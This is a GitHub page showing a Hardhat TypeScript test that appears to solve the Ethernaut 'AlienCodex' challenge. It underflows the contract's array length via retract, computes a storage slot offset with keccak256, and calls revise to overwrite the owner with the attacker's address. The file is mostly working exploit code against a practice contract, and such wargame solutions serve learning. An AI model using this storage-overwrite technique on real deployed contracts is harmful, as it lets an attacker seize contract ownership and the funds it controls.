generated from nicobevilacqua/hardhat-solidity-typescript-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 0
/
19-AlienCodex.test.ts
39 lines (29 loc) · 1.18 KB
/
19-AlienCodex.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { BigNumber, Contract } from 'ethers';
import { ethers } from 'hardhat';
const { utils } = ethers;
describe('AlienCodex', () => {
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
let contract: Contract;
before(async () => {
[owner, attacker] = await ethers.getSigners();
const Factory = await ethers.getContractFactory('AlienCodex');
contract = await Factory.connect(owner).deploy();
await contract.deployed();
});
it('attack', async () => {
let tx = await contract.connect(attacker).make_contact();
await tx.wait();
tx = await contract.retract();
await tx.wait();
const inBytes = utils.hexZeroPad(attacker.address, 32);
const mapZeroDirection = `0x0000000000000000000000000000000000000000000000000000000000000001`;
const mapDataBegin = BigNumber.from(utils.keccak256(mapZeroDirection));
const isCompleteOffset = BigNumber.from(`2`).pow(`256`).sub(mapDataBegin);
tx = await contract.revise(isCompleteOffset, inBytes);
await tx.wait();
expect(await contract.owner()).to.equal(attacker.address);
});
});